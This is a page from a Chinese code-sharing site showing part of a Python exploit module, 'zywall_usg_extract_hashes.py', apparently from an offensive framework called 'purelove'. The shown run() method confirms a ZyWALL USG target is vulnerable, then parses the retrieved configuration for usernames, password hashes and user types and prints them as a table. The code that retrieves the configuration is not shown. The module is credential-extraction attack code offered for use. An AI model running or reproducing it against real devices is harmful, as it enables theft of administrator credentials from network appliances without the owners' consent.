zywall_usg_extract_hashes.py 文件源码

python
阅读 26 收藏 0 点赞 0 评论 0

项目:purelove 作者: hucmosin 项目源码 文件源码
def run(self):

        if self.check():
            print_success("Target appears to be vulnerable")

            if self.script_content and len(self.script_content):
                print_status("Parsing the script ...")
                creds = []

                for line in self.script_content.split("\n"):
                    line = line.strip()
                    m_groups = re.match(r'username (.*) password (.*) user-type (.*)', line, re.I | re.M)
                    if m_groups:
                        creds.append((m_groups.group(1), m_groups.group(2), m_groups.group(3)))

                print_table(('Username', 'Hash', 'User type'), *creds)

        else:
            print_error("Exploit failed - target seems to be not vulnerable")
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号